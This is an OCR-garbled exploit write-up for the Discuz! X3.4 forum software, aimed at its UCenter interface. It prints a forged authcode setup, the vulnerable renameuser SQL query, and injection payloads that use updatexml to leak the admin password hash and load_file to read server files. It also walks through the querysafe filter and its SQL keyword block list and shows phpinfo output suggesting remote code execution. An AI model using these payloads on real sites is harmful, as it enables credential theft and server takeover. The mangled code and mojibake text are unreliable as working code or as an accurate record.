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$_config['security']['authkey'] = '87042cel2d71b427eec3db2262db3765fQvehoxXidyfNnjK5E";
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$username = "ddog";

$uid = 51;

$saltkey = "SuPqg5SmmP";

$config_authkey = "87042cel2d71b427eec3db2262db3765fQvehoxXidyfNnjK5E";
$authkey = md5($config_authkey.$saltkey);

$formhash = substr(md5(substr($t, @, -7).$username.$uid.$authkey."".""), 8, 8);
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(!defined( "IN UC")) {
"..[sourcefclass/class core.php”;

$discuz = C::app();
$discuz->init();

DISCUZ _ROOT.'./fconfig/config ucenter.php’;
$get - $post - array();

$code $ GET[ "code’];
parse_str(authcode($code, "DECODE", UC KEY)

(time() - $get[ time"]
( "Authracation has

}
(empty($get)) {

(*Invalid Request’);

rdue _client/1ib/xm] _clacs nhn' -

$post xml unserialize(file get contents('php://input”));
P - \ _get_ php - 13

(in_array($get[ 'actien'], array( test’, ‘deleteuser', 'renameuser’, '
gettag', 'synlogin', 'synlogout', ‘updatepw', ‘updatebadwords’, '
updatehosts', "updateapps', 'updateclient’, ‘updatecredit’', 'getcredif]
, 'getcreditsettings’, "updatecreditsettings’, "addfeed'))) {
$uc_note uc_note();
echo call_user_func{array($uc_note, $get['action']), $%get, Ipost);
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if($post['UC_API']) {
$UC_API = str_replace(array('\'', """, "\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
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function renameuser($get, $post) {
global $_G;

if(!API_RENAMEUSER) {
return API_RETURN_FORBIDDEN;

$tables = array(

‘common_block' => array('id' => 'uid', 'name' => 'username'),
‘common_invite' => array('id' => ‘fuid', ‘name' => 'fusername'),
'common_member_verify_info' => array('id' => ‘'uid', 'name' => ‘'username'),
'common_mytask' => array('id' => ‘'uid', ‘'name' => 'username'),

'common_report' => array('id' => 'uid', ‘'name' => 'username'),

"forum_thread' => array('id' => 'authorid', 'name' => 'author'),
"forum_activityapply' => array('id' => 'uid', 'name' => 'username'),

"forum_groupuser' => array('id' => 'uid', 'name' => 'username'),

"forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
"forum_post' => array('id' => 'authorid', 'name' => ‘'author'),
'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),

"forum_ratelog' => array('id' => 'uid', ‘'name' => 'username'),

"home_album' => array('id' => 'uid', 'name' => 'username'),

"home_blog' => array('id' => 'uid', 'name' => 'username'),

"home_clickuser' => array('id' => 'uid', 'name' => 'username'),

"home_docomment' => array('id' => 'uid', 'name' => 'username'),
"home_doing' => array('id' => 'uid', 'name' => 'username'),
"home_feed' => array('id' => 'uid', 'name' => 'username'),
"home_feed_app' => array('id' => 'uid', ‘'name' => 'username'),
"home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
"home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
"home_notification' => array('id' => 'authorid', 'name' => 'author'),

"home_pic' => array('id' => 'uid', 'name' => 'username'),
"home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),
"home_share' => array('id' => 'uid', 'name' => 'username'),

"home_show' => array('id' => 'uid', 'name' => 'username'),
"home_specialuser' => array('id' => 'uid', 'name' => 'username'),

"home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),



'portal_article_title' => array('id' => 'uid', 'name' => 'username'),
'portal_comment' => array('id' => 'uid', 'name' => 'username'),

'portal_topic' => array('id' => 'uid', 'name' => 'username'),
'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
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if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) &&
isset($_G['setting' ][ 'membersplit’'])){
C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));

loadcache("posttableids");
if($_G['cache']['posttableids']) {
foreach($_G[ 'cache']['posttableids'] AS $tableid) {
$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');

foreach($tables as $table => $conf) {
DB::query("UPDATE ".DB::table($table)." SET "$conf[name] ='$get[newusername]' WHERE
“$conf[id] ="$get[uid]'");

}
return API_RETURN_SUCCEED;
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$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\"'a\"' or updatexml(1,concat(@x7e,
(/*'00000select*/ substr(password,@) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\"'a"’;
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\source\class\discuz\discuz_database.php line 375

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false &&
strpos($sql, '@') === false && strpos($sql, '~ ') === false && strpos($sql, '"') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';

for ($1 = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {

case
if(!$mark) {

$mark = '°';
$clean .= $str;
} elseif ($mark == '"') {
$mark = '';
}
break;
case "\'':

if (!$mark) {
$mark = "\'"';



$clean .= $str;

} elseif ($mark == "\'") {
$mark = '';
}
break;
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
case '#':

if (empty($mark)) {
$mark = $str;

$clean .= $str;
}
break;
case "\n":
if ($mark == '#' || $mark == '--") {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ") {
$mark = '-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? '' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}

$clean = preg_replace("/["a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));

if (self::$config['afullnote']) {
$clean = str_replace('/**/"',

', $clean);

if (is_array(self::$config['dfunction'])) {
foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)
return '-1";

if (is arrav(self::%$confisl'daction'1)) {
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foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)
return '-3';

}

if (self::$config['dlikehex'] && strpos($clean, 'likeox')) {
return '-2";

}

if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4";

SR JE configH tH R HIBC BN

$_config['security']['querysafe']['dfunction']['@'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe’']['dfunction']['2"'] = 'substring’;
$_config['security']['querysafe'][ 'dfunction']['3'] = 'if’;
$_config['security']['querysafe’']['dfunction']['4'] = 'ord';
$_config['security']['querysafe’']['dfunction']['5"'] = ‘'char’;
$_config['security']['querysafe']['daction’']['0'] = '@";
$_config['security']['querysafe’']['daction']['1'] = "intooutfile';
$_config['security']['querysafe’]['daction']['2'] = "intodumpfile"’;
$_config['security']['querysafe’']['daction’']['3'] = 'unionselect’;
$_config['security']['querysafe’']['daction']['4'] = '(select’;
$_config['security']['querysafe']["'daction’']['5'] = 'unionall’;
$_config['security']['querysafe’']['daction']['6'] = "uniondistinct’;
$_config['security']['querysafe’']['dnote']['0"'] = '/*';
$_config['security']['querysafe’']['dnote']J['1"'] = "*/';
$_config['security']['querysafe’']['dnote']['2"'] = '#';
$_config['security']['querysafe’']['dnote']['3'] = '--";
$_config['security']['querysafe']['dnote']['4'] = H
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if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);

}
T/ R B, AR LA BB A I (032 select MBI IR, 2 JRHBHONE, T LSBT
BT

BENFBE—MREEAZE, BRNZAEZBOCHENE, KB Tmysqli25.5.29, FrARATAT LE R EBURS
& ERER .

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\"'a\"' or updatexml(1,concat(@x7e,
(/*'00000select*/ /*100000load file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\"'a"’;
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function sid_encode($username) {

$ip = $this->onlineip;

$agent = $_SERVER['HTTP_USER_AGENT'];

$authkey = md5($ip.$agent.UC_KEY);

$check = substr(md5($ip.$agent), 0, 8);

return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));
}

function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;

}
@list($username, $check) = explode("\t", $s);
if($check == substr(md5($ip.$agent), 0, 8)) {
return $username;
} else {
return FALSE;

}
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© @ 127.00.1/discuz x3.4_1201/upload/config/config_ucenter.php™

* phpinfo();

m— @

System Windows NT DESKTOP-1QBG1JL 10.0 build 18362 (Windows 10) AMD64

Build Date Nov 19 2019 13:50:18

Compiler MSVC15 (Visual C++ 2017)

Architecture %64

Configure Command cscript /nologo configure.js "--enable-snapshot-build” *--enable-debug-pack” "--with-pdo-aci=c
snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk shared" *--with-oci8-12c=c:\php-snap-
build\deps le\x64\i lient_12_1\sdk shared® *~-enable-object-out-dir=../abj/" "—-en
com-dotnet=shared" “--without-analyzer" "--with-pgo"

Server APl Apache 2.0 Handler

Virtual Directory Support enabled

Configuration File (php.ini) Path C\windows.

Loaded Configuration File

DA\wamp64\bin\apache\apache2.4.41\bin\php.ini

Scan this dir for additional .ini files

(ncne)

Additional .ini files parsed

(none)

PHP APl 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731 TS VC15
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